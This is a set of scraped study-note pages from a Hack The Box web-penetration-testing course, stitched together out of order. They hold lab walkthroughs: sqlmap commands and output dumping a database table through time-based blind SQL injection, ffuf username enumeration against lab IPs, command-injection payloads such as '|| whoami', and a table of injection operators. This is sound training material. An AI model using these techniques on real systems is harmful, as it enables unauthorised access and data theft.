Review the HTML source code of the page to find where the front-end input validation is happening. On which line number is it?[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands#review-the-html-source-code-of-the-page-to-find-where-the-front-end-input-validation-is-happening.-o)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Source Code down below
Answer: 17
[PreviousDetection](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection)
[NextOther Injection Operators](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators)
Last updated 1 year ago
* [Injecting Our Command](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands#injecting-our-command)
* [Bypassing Front-End Validation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands#bypassing-front-end-validation)
* [Review the HTML source code of the page to find where the front-end input validation is happening. On which line number is it?](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands#review-the-html-source-code-of-the-page-to-find-where-the-front-end-input-validation-is-happening.-o)
Copy
Host Checker
Host Checker
---
# Rewalk | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk.md)
.
Skills Assessment[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk#skills-assessment)
--------------------------------------------------------------------------------------------------------------------------
### Question 1[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk#question-1)
#### "What's the contents of table final\_flag?"[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk#whats-the-contents-of-table-final_flag)
After spawning the target machine, students need to visit its website's root page and inspect the web application for possible attack vectors:

SQLMap\_Essentials\_image\_18.png
Students then need to click all buttons while having the Network tab of the Web Developer tools open, searching for a `POST` request that can be abused. The only button that sends a `POST` request is under `Catalog` -> `Shop`, specifically, the `ADD TO CART +` button on an item:

SQLMap\_Essentials\_image\_19.png
Therefore, students need to select the request and copy the raw request headers, in addition to the raw request payload, and save them into a file:

SQLMap\_Essentials\_image\_20.png

SQLMap\_Essentials\_image\_21.png
The final request file that will be provided to `sqlmap` is:
Skills Assessment
Once students have saved the request into a file, they need to launch `sqlmap` providing it to the option `-r`. After trial and error, students will come to know that the options `--level 5`, `--risk 3`, `--random-agent`, `--tamper=between`, and `--technique=t` are all required to bypass the protections put forth to protect the database. Afterward, when students run `sqlmap` with these options, they will discover the database `production` and the table `final_flag` within it:
Code: shell
Skills Assessment
Therefore, instead of letting `sqlmap` fetch unwanted data, students can stop it (`Ctrl` + `C`) and only make it fetch the table `final_flag` within the database `production`, finding the flag `HTB{n07_50_h4rd_r16h7?!}`:
Code: shell
Skills Assessment
Answer: {hidden}
[PreviousSkills Assessment](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment)
[NextCheat Sheet](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/cheat-sheet)
Last updated 8 months ago
* [Skills Assessment](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk#skills-assessment)
* [Question 1](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk#question-1)
Copy
POST /action.php HTTP/1.1
Host: STMIP:STMPO
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 8
Origin: http://178.62.91.22:31147
DNT: 1
Connection: keep-alive
Referer: http://STMIP:STMPO/shop.html
Sec-GPC: 1
{"id":1}
Copy
sqlmap -r request.req --batch --dump --level 5 --risk 3 --random-agent --tamper=between --technique=t
Copy
┌┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-jhizwe8dgn]─[~]
└──╼ [★]$ sqlmap -r request.req --batch --dump --level 5 --risk 3 --random-agent --tamper=between --technique=t
___
__H__
___ ___[(]_____ ___ ___ {1.6.8#stable}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:42:13 /2022-11-29/
[18:42:13] [INFO] parsing HTTP request from 'request.req'
[18:42:13] [INFO] loading tamper module 'between'
[18:42:13] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060916 Firefox/2.0b2' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[18:42:14] [INFO] resuming back-end DBMS 'mysql'
[18:42:14] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON id ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":"1 AND (SELECT 7108 FROM (SELECT(SLEEP(5)))iDXK)"}
[18:42:29] [INFO] adjusting time delay to 1 second due to good response times
production
[18:43:02] [INFO] fetching tables for database: 'production'
[18:43:02] [INFO] fetching number of tables for database 'production'
[18:43:02] [INFO] retrieved: 5
[18:43:04] [INFO] retrieved: categories
[18:43:31] [INFO] retrieved: brands
[18:43:49] [INFO] retrieved: products
[18:44:18] [INFO] retrieved: order_items
[18:44:55] [INFO] retrieved: final_flag
[18:45:29] [INFO] fetching columns for table 'order_items' in database 'production'
[18:45:29] [INFO] retrieved: ^C
Copy
sqlmap -r request.req --batch --dump --level 5 --risk 3 --random-agent --tamper=between --technique=t -D production -T final_flag
Copy
┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-7lpyzphcoo]─[~]
└──╼ [★]$ sqlmap -r request.req --batch --dump --level 5 --risk 3 --random-agent --tamper=between --technique=t -D production -T final_flag
___
__H__
___ ___[.]_____ ___ ___ {1.6.8#stable}
|_ -| . ['] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:54:34 /2022-11-29/
[18:54:34] [INFO] parsing HTTP request from 'request.req'
[18:54:34] [INFO] loading tamper module 'between'
[18:54:34] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110208 Firefox/4.2a1pre' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[18:54:34] [INFO] testing connection to the target URL
sqlmap identified the following injection point(s) with a total of 69 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":"1 AND (SELECT 7393 FROM (SELECT(SLEEP(5)))ZWNA)"}
---
[18:55:40] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[18:55:40] [INFO] the back-end DBMS is MySQL
[18:55:40] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:55:45] [INFO] fetching columns for table 'final_flag' in database 'production'
[18:55:45] [INFO] retrieved:
[18:55:55] [INFO] adjusting time delay to 1 second due to good response times
2
[18:55:55] [INFO] retrieved: id
[18:56:01] [INFO] retrieved: content
[18:56:27] [INFO] fetching entries for table 'final_flag' in database 'production'
[18:56:27] [INFO] fetching number of entries for table 'final_flag' in database 'production'
[18:56:27] [INFO] retrieved: 1
[18:56:28] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
HTB{n07_50_h4rd_r16h7?!}
[18:57:57] [INFO] retrieved: 1
Database: production
Table: final_flag
[1 entry]
+----+--------------------------+
| id | content |
+----+--------------------------+
| 1 | HTB{n07_50_h4rd_r16h7?!} |
+----+--------------------------+
---
# Exploiting SSI Injection | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection.md)
.
Exploiting SSI Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection#exploiting-ssi-injection)
---------------------------------------------------------------------------------------------------------------------------------------------------------
* * *
Now that we have discussed how SSI works in the previous section, let us discuss how to exploit SSI injection.
* * *
### Exploitation[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection#exploitation)
Let us take a look at our sample web application. We are greeted by a simple form asking for our name:
arrow-circle-left redo home

If we enter our name, we are redirected to `/page.shtml`, which displays some general information:
arrow-circle-left redo home

We can guess that the page supports SSI based on the file extension. If our username is inserted into the page without prior sanitization, it might be vulnerable to SSI injection. Let us confirm this by providing a username of ``. This results in the following page:
arrow-circle-left redo home

As we can see, the directive is executed, and the environment variables are printed. Thus, we have successfully confirmed an SSI injection vulnerability. Let us confirm that we can execute arbitrary commands using the `exec` directive by providing the following username: ``:
arrow-circle-left redo home

The server successfully executed our injected command. This enables us to take over the web server fully.
### Exploit the SSI Injection vulnerability to obtain RCE and read the flag.[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection#exploit-the-ssi-injection-vulnerability-to-obtain-rce-and-read-the-flag)
Test with this exec command

Try tp see what is in the file directory

Now try going back a couple folder

To obtain the flag

[PreviousIntroduction to SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection)
[NextPreventing SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection)
Last updated 10 months ago
* [Exploiting SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection#exploiting-ssi-injection)
* [Exploitation](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection#exploitation)
* [Exploit the SSI Injection vulnerability to obtain RCE and read the flag.](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection#exploit-the-ssi-injection-vulnerability-to-obtain-rce-and-read-the-flag)
Copy
Copy
Copy
Copy
---
# Enumerating Users | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users.md)
.
Enumerating Users[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#enumerating-users)
--------------------------------------------------------------------------------------------------------------------------------------------
* * *
User enumeration vulnerabilities arise when a web application responds differently to registered/valid and invalid inputs for authentication endpoints. User enumeration vulnerabilities frequently occur in functions based on the user's username, such as user login, user registration, and password reset.
Web developers frequently overlook user enumeration vectors, assuming that information such as usernames is not confidential. However, usernames can be considered confidential if they are the primary identifier required for authentication in web applications. Moreover, users tend to use the same username across various services other than web applications, including FTP, RDP, and SSH. Since many web applications allow us to identify usernames, we can enumerate valid usernames and use them for further attacks on authentication. This is often possible because web applications typically consider a username or user's email address as the primary identifier of users.
* * *
### User Enumeration Theory[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#user-enumeration-theory)
Protection against username enumeration attacks can have an impact on user experience. A web application revealing whether a username exists may help a legitimate user identify that they failed to type their username correctly. Still, the same applies to an attacker trying to determine valid usernames. Even well-known and mature applications, like WordPress, allow for user enumeration by default. For instance, if we attempt to login to WordPress with an invalid username, we get the following error message:
arrow-circle-left redo home

On the other hand, a valid username results in a different error message:
arrow-circle-left redo home

As we can see, user enumeration can be a security risk that a web application deliberately accepts to provide a service. As another example, consider a chat application enabling users to chat with others. This application might provide a functionality to search for users by their username. While this functionality can be used to enumerate all users on the platform, it is also essential to the service provided by the web application. As such, user enumeration is not always a security vulnerability. Nevertheless, it should be avoided if possible as a defense-in-depth measure. For instance, in our example web application user enumeration can be avoided by not using the username during login but an email address instead.
* * *
### Enumerating Users via Differing Error Messages[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#enumerating-users-via-differing-error-messages)
To obtain a list of valid users, an attacker typically requires a wordlist of usernames to test. Usernames are often far less complicated than passwords. They rarely contain special characters when they are not email addresses. A list of common users allows an attacker to narrow the scope of a brute-force attack or carry out targeted attacks (leveraging OSINT) against support employees or users. Also, a common password could be easily sprayed against valid accounts, often leading to a successful account compromise. Further ways of harvesting usernames are crawling a web application or using public information, such as company profiles on social networks. A good starting point is the wordlist collection [SecLists](https://github.com/danielmiessler/SecLists/tree/master/Usernames)
.
When we attempt to log in to the lab with an invalid username such as `abc`, we can see the following error message:
arrow-circle-left redo home

On the other hand, when we attempt to log in with a registered user such as `htb-stdnt` and an invalid password, we can see a different error:
arrow-circle-left redo home

Let us exploit this difference in error messages returned and use SecLists's wordlist `xato-net-10-million-usernames.txt` to enumerate valid users with `ffuf`. We can specify the wordlist with the `-w` parameter, the POST data with the `-d` parameter, and the keyword `FUZZ` in the username to fuzz valid users. Finally, we can filter out invalid users by removing responses containing the string `Unknown user`:
Enumerating Users
We successfully identified the valid username `consuelo`. We could now proceed by attempting to brute-force the user's password, as we will discuss in the following section.
* * *
### User Enumeration via Side-Channel Attacks[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#user-enumeration-via-side-channel-attacks)
While differences in the web application's response are the simplest and most obvious way to enumerate valid usernames, we might also be able to enumerate valid usernames via side channels. Side-channel attacks do not directly target the web application's response but rather extra information that can be obtained or inferred from the response. An example of a side channel is the response timing, i.e., the time it takes for the web application's response to reach us. Suppose a web application does database lookups only for valid usernames. In that case, we might be able to measure a difference in the response time and enumerate valid usernames this way, even if the response is the same. User enumeration based on response timing is covered in the [Whitebox Attacks](https://academy.hackthebox.com/module/details/205)
module.
#### Enumerate a valid user on the web application. Provide the username as the answer.[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#enumerate-a-valid-user-on-the-web-application.-provide-the-username-as-the-answer)
So it appears we can just use ffuf to find some valid usernames
And we get
A: cookster
[PreviousBrute Force Attacks](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks)
[NextBrute-Forcing Passwords](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords)
Last updated 9 months ago
* [Enumerating Users](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#enumerating-users)
* [User Enumeration Theory](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#user-enumeration-theory)
* [Enumerating Users via Differing Error Messages](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#enumerating-users-via-differing-error-messages)
* [User Enumeration via Side-Channel Attacks](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#user-enumeration-via-side-channel-attacks)
Copy
Code4Christ@htb[/htb]$ ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"
[Status: 200, Size: 3271, Words: 754, Lines: 103, Duration: 310ms]
* FUZZ: consuelo
Copy
ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://94.237.56.25:40719
/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"
Copy
┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://94.237.56.25:40719/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user" -t 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://94.237.56.25:40719/index.php
:: Wordlist : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=invalid
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Unknown user
________________________________________________
cookster [Status: 200, Size: 3271, Words: 754, Lines: 103, Duration: 461ms]
---
# Intro | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro.md)
.
Introduction[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#introduction)
------------------------------------------------------------------------------------------------
Keys and passwords, the modern equivalent of locks and combinations, secure the digital world. But what if someone tries every possible combination until they find the one that opens the door? That, in essence, is `brute forcing`.
### What is Brute Forcing?[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#what-is-brute-forcing)
In cybersecurity, brute forcing is a trial-and-error method used to crack passwords, login credentials, or encryption keys. It involves systematically trying every possible combination of characters until the correct one is found. The process can be likened to a thief trying every key on a giant keyring until they find the one that unlocks the treasure chest.
The success of a brute force attack depends on several factors, including:
* The `complexity` of the password or key. Longer passwords with a mix of uppercase and lowercase letters, numbers, and symbols are exponentially more complex to crack.
* The `computational power` available to the attacker. Modern computers and specialized hardware can try billions of combinations per second, significantly reducing the time needed for a successful attack.
* The `security measures` in place. Account lockouts, CAPTCHAs, and other defenses can slow down or even thwart brute-force attempts.
### How Brute Forcing Works[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#how-brute-forcing-works)
The brute force process can be visualized as follows:

1. `Start`: The attacker initiates the brute force process, often with the aid of specialized software.
2. `Generate Possible Combination`: The software generates a potential password or key combination based on predefined parameters, such as character sets and length.
3. `Apply Combination`: The generated combination is attempted against the target system, such as a login form or encrypted file.
4. `Check if Successful`: The system evaluates the attempted combination. If it matches the stored password or key, access is granted. Otherwise, the process continues.
5. `Access Granted`: The attacker gains unauthorized access to the system or data.
6. `End`: The process repeats, generating and testing new combinations until either the correct one is found or the attacker gives up.
### Types of Brute Forcing[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#types-of-brute-forcing)
Brute forcing is not a monolithic entity but a collection of diverse techniques, each with its strengths, weaknesses, and ideal use cases. Understanding these variations is crucial for both attackers and defenders, as it enables the former to choose the most effective approach and the latter to implement targeted countermeasures. The following table provides a comparative overview of various brute-forcing methods:
Method
Description
Example
Best Used When...
`Simple Brute Force`
Systematically tries all possible combinations of characters within a defined character set and length range.
Trying all combinations of lowercase letters from 'a' to 'z' for passwords of length 4 to 6.
No prior information about the password is available, and computational resources are abundant.
`Dictionary Attack`
Uses a pre-compiled list of common words, phrases, and passwords.
Trying passwords from a list like 'rockyou.txt' against a login form.
The target will likely use a weak or easily guessable password based on common patterns.
`Hybrid Attack`
Combines elements of simple brute force and dictionary attacks, often appending or prepending characters to dictionary words.
Adding numbers or special characters to the end of words from a dictionary list.
The target might use a slightly modified version of a common password.
`Credential Stuffing`
Leverages leaked credentials from one service to attempt access to other services, assuming users reuse passwords.
Using a list of usernames and passwords leaked from a data breach to try logging into various online accounts.
A large set of leaked credentials is available, and the target is suspected of reusing passwords across multiple services.
`Password Spraying`
Attempts a small set of commonly used passwords against a large number of usernames.
Trying passwords like 'password123' or 'qwerty' against all usernames in an organization.
Account lockout policies are in place, and the attacker aims to avoid detection by spreading attempts across multiple accounts.
`Rainbow Table Attack`
Uses pre-computed tables of password hashes to reverse hashes and recover plaintext passwords quickly.
Pre-computing hashes for all possible passwords of a certain length and character set, then comparing captured hashes against the table to find matches.
A large number of password hashes need to be cracked, and storage space for the rainbow tables is available.
`Reverse Brute Force`
Targets a single password against multiple usernames, often used in conjunction with credential stuffing attacks.
Using a leaked password from one service to try logging into multiple accounts with different usernames.
A strong suspicion exists that a particular password is being reused across multiple accounts.
`Distributed Brute Force`
Distributes the brute forcing workload across multiple computers or devices to accelerate the process.
Using a cluster of computers to perform a brute-force attack significantly increases the number of combinations that can be tried per second.
The target password or key is highly complex, and a single machine lacks the computational power to crack it within a reasonable timeframe.
### The Role of Brute Forcing in Penetration Testing[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#the-role-of-brute-forcing-in-penetration-testing)
Penetration testing, or ethical hacking, is a proactive cybersecurity measure that simulates real-world attacks to identify and address vulnerabilities before malicious actors can exploit them. Brute forcing is a crucial tool in this process, particularly when assessing the resilience of password-based authentication mechanisms.
While penetration tests encompass a range of techniques, brute forcing is often strategically employed when:
* `Other avenues are exhausted`: Initial attempts to gain access, such as exploiting known vulnerabilities or utilizing social engineering tactics, may prove unsuccessful. In such scenarios, brute forcing is a viable alternative to overcome password barriers.
* `Password policies are weak`: If the target system employs lax password policies, it increases the likelihood of users having weak or easily guessable passwords. Brute forcing can effectively expose these vulnerabilities.
* `Specific accounts are targeted`: In some instances, penetration testers may focus on compromising specific user accounts, such as those with elevated privileges. Brute forcing can be tailored to target these accounts directly.
[PreviousRewalk](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk)
[NextPassword Security Fundamentals](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals)
Last updated 1 year ago
* [Introduction](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#introduction)
* [What is Brute Forcing?](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#what-is-brute-forcing)
* [How Brute Forcing Works](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#how-brute-forcing-works)
* [Types of Brute Forcing](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#types-of-brute-forcing)
* [The Role of Brute Forcing in Penetration Testing](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#the-role-of-brute-forcing-in-penetration-testing)
---
# Databases | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases.md)
.
Intro to Databases[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases#intro-to-databases)
----------------------------------------------------------------------------------------------------------------------
* * *
Before we learn about SQL injections, we need to learn more about databases and Structured Query Language (SQL), which databases will perform the necessary queries. Web applications utilize back-end databases to store various content and information related to the web application. This can be core web application assets like images and files, content like posts and updates, or user data like usernames and passwords.
There are many different types of databases, each of which fits a particular type of use. Traditionally, an application used file-based databases, which was very slow with the increase in size. This led to the adoption of `Database Management Systems` (`DBMS`).
* * *
### Database Management Systems[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases#database-management-systems)
A Database Management System (DBMS) helps create, define, host, and manage databases. Various kinds of DBMS were designed over time, such as file-based, Relational DBMS (RDBMS), NoSQL, Graph based, and Key/Value stores.
There are multiple ways to interact with a DBMS, such as command-line tools, graphical interfaces, or even APIs (Application Programming Interfaces). DBMS is used in various banking, finance, and education sectors to record large amounts of data. Some of the essential features of a DBMS include:
**Feature**
**Description**
`Concurrency`
A real-world application might have multiple users interacting with it simultaneously. A DBMS makes sure that these concurrent interactions succeed without corrupting or losing any data.
`Consistency`
With so many concurrent interactions, the DBMS needs to ensure that the data remains consistent and valid throughout the database.
`Security`
DBMS provides fine-grained security controls through user authentication and permissions. This will prevent unauthorized viewing or editing of sensitive data.
`Reliability`
It is easy to backup databases and rolls them back to a previous state in case of data loss or a breach.
`Structured Query Language`
SQL simplifies user interaction with the database with an intuitive syntax supporting various operations.
* * *
### Architecture[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases#architecture)
The diagram below details a two-tiered architecture.

dbms\_architecture
`Tier I` usually consists of client-side applications such as websites or GUI programs. These applications consist of high-level interactions such as user login or commenting. The data from these interactions is passed to `Tier II` through API calls or other requests.
The second tier is the middleware, which interprets these events and puts them in a form required by the DBMS. Finally, the application layer uses specific libraries and drivers based on the type of DBMS to interact with them. The DBMS receives queries from the second tier and performs the requested operations. These operations could include insertion, retrieval, deletion, or updating of data. After processing, the DBMS returns any requested data or error codes in the event of invalid queries.
It is possible to host the application server as well as the DBMS on the same host. However, databases with large amounts of data supporting many users are typically hosted separately to improve performance and scalability.
[PreviousIntro](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/intro)
[NextTypes of Databases](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases/types-of-databases)
Last updated 1 year ago
* [Intro to Databases](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases#intro-to-databases)
* [Database Management Systems](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases#database-management-systems)
* [Architecture](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases#architecture)
---
# Other Injection Operators | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators.md)
.
* * *
Before we move on, let us try a few other injection operators and see how differently the web application would handle them.
* * *
### AND Operator[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators#and-operator)
We can start with the `AND` (`&&`) operator, such that our final payload would be (`127.0.0.1 && whoami`), and the final executed command would be the following:
Code: bash
Copy
ping -c 1 127.0.0.1 && whoami
As we always should, let's try to run the command on our Linux VM first to ensure that it is a working command:
Other Injection Operators
Copy
21y4d@htb[/htb]$ ping -c 1 127.0.0.1 && whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
21y4d
As we can see, the command does run, and we get the same output we got previously. Try to refer to the injection operators table from the previous section and see how the `&&` operator is different (if we do not write an IP and start directly with `&&`, would the command still work?).
Now, we can do the same thing we did before by copying our payload, pasting it in our HTTP request in `Burp Suite`, URL-encoding it, and then finally sending it:

As we can see, we successfully injected our command and received the expected output of both commands.
* * *
### OR Operator[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators#or-operator)
Finally, let us try the `OR` (`||`) injection operator. The `OR` operator only executes the second command if the first command fails to execute. This may be useful for us in cases where our injection would break the original command without having a solid way of having both commands work. So, using the `OR` operator would make our new command execute if the first one fails.
If we try to use our usual payload with the `||` operator (`127.0.0.1 || whoami`), we will see that only the first command would execute:
Other Injection Operators
This is because of how `bash` commands work. As the first command returns exit code `0` indicating successful execution, the `bash` command stops and does not try the other command. It would only attempt to execute the other command if the first command failed and returned an exit code `1`.
`Try using the above payload in the HTTP request, and see how the web application handles it.`
Let us try to intentionally break the first command by not supplying an IP and directly using the `||` operator (`|| whoami`), such that the `ping` command would fail and our injected command gets executed:
Other Injection Operators
As we can see, this time, the `whoami` command did execute after the `ping` command failed and gave us an error message. So, let us now try the (`|| whoami`) payload in our HTTP request:

We see that this time we only got the output of the second command as expected. With this, we are using a much simpler payload and getting a much cleaner result.
Such operators can be used for various injection types, like SQL injections, LDAP injections, XSS, SSRF, XXE, etc. We have created a list of the most common operators that can be used for injections:
**Injection Type**
**Operators**
SQL Injection
`'` `,` `;` `--` `/* */`
Command Injection
`;` `&&`
LDAP Injection
`*` `(` `)` `&` `|`
XPath Injection
`'` `or` `and` `not` `substring` `concat` `count`
OS Command Injection
`;` `&` `|`
Code Injection
`'` `;` `--` `/* */` `$()` `${}` `#{}` `%{}` `^`
Directory Traversal/File Path Traversal
`../` `..\\` `%00`
Object Injection
`;` `&` `|`
XQuery Injection
`'` `;` `--` `/* */`
Shellcode Injection
`\x` `\u` `%u` `%n`
Header Injection
`\n` `\r\n` `\t` `%0d` `%0a` `%09`
Keep in mind that this table is incomplete, and many other options and operators are possible. It also highly depends on the environment we are working with and testing.
In this module, we are mainly dealing with direct command injections, in which our input goes directly into the system command, and we are receiving the output of the command. For more on advanced command injections, like indirect injections or blind injection, you may refer to the [Whitebox Pentesting 101: Command Injection](https://academy.hackthebox.com/course/preview/whitebox-pentesting-101-command-injection)
module, which covers advanced injections methods and many other topics.
